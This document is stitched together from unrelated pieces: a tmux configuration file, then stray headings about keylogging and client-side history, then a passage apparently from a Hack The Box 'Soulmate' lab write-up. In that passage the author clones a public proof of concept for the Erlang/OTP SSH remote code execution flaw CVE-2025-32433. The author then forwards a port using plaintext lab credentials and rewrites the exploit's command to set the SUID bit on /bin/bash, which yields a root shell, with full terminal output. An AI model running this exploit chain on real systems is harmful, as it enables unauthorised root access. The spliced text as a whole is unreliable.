bind-key j command-prompt -p "join pane from: "  "join-pane -s '%%'"
bind-key s command-prompt -p "send pane to: "  "join-pane -t '%%'"

# Awitch panes using Alt-arrow without prefix
bind -n M-Left select-pane -L
bind -n M-Right select-pane -R
bind -n M-Up select-pane -U
bind -n M-Down select-pane -D

# Window navigation
bind -n M-0 select-window -t :0
bind -n M-1 select-window -t :1
bind -n M-2 select-window -t :2
bind -n M-3 select-window -t :3
bind -n M-4 select-window -t :4
bind -n M-5 select-window -t :5
bind -n M-6 select-window -t :6
bind -n M-7 select-window -t :7
bind -n M-8 select-window -t :8
bind -n M-9 select-window -t :9

# Syntronize panes - send command to all panes
bind-key g set-window-option synchronize-panes\; display-message "synchronize-panes is now #{?pane_synchronized,on,off}"

# Resize panes with VIM nav keys
bind -n M-S-Left resize-pane -L
bind -n M-S-Down resize-pane -D
bind -n M-S-Up resize-pane -U
bind -n M-S-Right resize-pane -R

# Move panes inside the same windows
unbind-key '{'
unbind-key '}'
bind-key S-Up swap-pane -U
bind-key S-Down swap-pane -D

# Set the layout
bind-key l select-layout main-vertical
bind-key V select-layout even-vertical
bind-key H select-layout even-horizontal

### Status bar customization
set-option -g status-style bg=color234,fg=color244
set-option -g status-left ''
set-option -g status-right '#H [#{session_name}]'
set-option -g window-status-format '#{window_index}'
set-option -g window-status-current-format '#[bold, fg=white]#{window_index}'

# set vi copy commands
setw -g mode-keys vi
set-window-option -g mode-keys vi
bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel "xclip -selection primary -filter | xclip -selection clipboard"

# Changes in terminal borders
set -g pane-active-border-style fg="cyan"

# set  right status bar lenght to 200
set-option -g status-right-length 200

### Misc

# Reload config file (change file location to your the tmux.conf you want to use)
bind r source-file ~/.config/tmux/tmux.conf \; display-message " Config updated successfully!"

# set mouse on
unbind m
bind-key m set-option mouse \; display-message "mouse is now #{?mouse,on,off}"

## Switch between local and remote netsted sessions
color_status_text="colour245"
color_window_off_status_bg="colour238"
color_light="white" #colour015
color_dark="colour232" # black= colour232
color_window_off_status_current_bg="colour252"

bind -T root F12  \
  set prefix None \;\
  set key-table off \;\
  set status-style "fg=$color_status_text,bg=$color_window_off_status_bg" \;\
  set window-status-current-format "#[fg=$color_window_off_status_bg,bg=$color_window_off_status_current_bg]$separator_powerline_right#[default] #I:#W# #[fg=$color_window_off_status_current_bg,bg=$color_window_off_status_bg]$separator_powerline_right#[default]" \;\
  set window-status-current-style "fg=$color_dark,bold,bg=$color_window_off_status_current_bg" \;\
  if -F '#{pane_in_mode}' 'send-keys -X cancel' \;\
  refresh-client -S \;\

bind -T off F12 \
  set -u prefix \;\
  set -u key-table \;\
  set -u status-style \;\
  set -u window-status-current-style \;\
  set -u window-status-current-format \;\
  refresh-client -S

wg_is_keys_off="#[fg=$color_light,bg=$color_window_off_indicator]#([ $(tmux show-option -qv key-table) = 'off' ] && echo 'OFF')#[default]"

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1

Erlang OTP - RCE (CVE-2025-32433)

  • Google : Eshell V15.2.5 exploit -> CVE-2025-32433 poc

Ref - https://www.sonicwall.com/blog/pre-auth-rce-alert-critical-ssh-flaw-in-erlang-otp-cve-2025-32433-

POC - https://github.com/platsecurity/CVE-2025-32433

CVE-2025-32433

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.

1
2
3
cd exploit
git clone https://github.com/platsecurity/CVE-2025-32433
cd CVE-2025-32433

Local port forward 2222

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Soulmate/exploit/CVE-2025-32433]
└─$ sshpass -p 'HouseH0ldings998' ssh -o "StrictHostKeyChecking no" ben@10.10.11.86 -L 2222:127.0.0.1:2222 -N
Last login: Wed Nov 5 16:26:08 2025 from 10.10.14.60

Change the command to execute

1
2
┌──(bravosec㉿fsociety)-[~/htb/Soulmate/exploit/CVE-2025-32433]
└─$ sed -i "s|command='file.*|command='os:cmd(\"chmod +s /bin/bash\").'|g" CVE-2025-32433.py

Run exploit

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Soulmate/exploit/CVE-2025-32433]
└─$ python CVE-2025-32433.py
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003f40814a102169c6d0e5356a7ff6d4b3ef9eabc0000011e637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c63757276653434382d7368613531322c656364682d736861322d6e697374703532312c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6578742d696e666f2d732c6b65782d7374726963742d732d763030406f70656e7373682e636f6d000000397373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3531322c7273612d736861322d323536000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d636263000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d6362630000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c696200000000000000000000000000a3798addec7b6279
1
2
3
4
5
6
┌──(bravosec㉿fsociety)-[~/htb/Soulmate/exploit/CVE-2025-32433]
└─$ sshpass -p 'HouseH0ldings998' ssh -o "StrictHostKeyChecking no" ben@10.10.11.86
Last login: Wed Nov 5 16:57:23 2025 from 10.10.14.60
ben@soulmate:~$ bash -p
bash-5.1# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
This post is licensed under CC BY 4.0 by the author.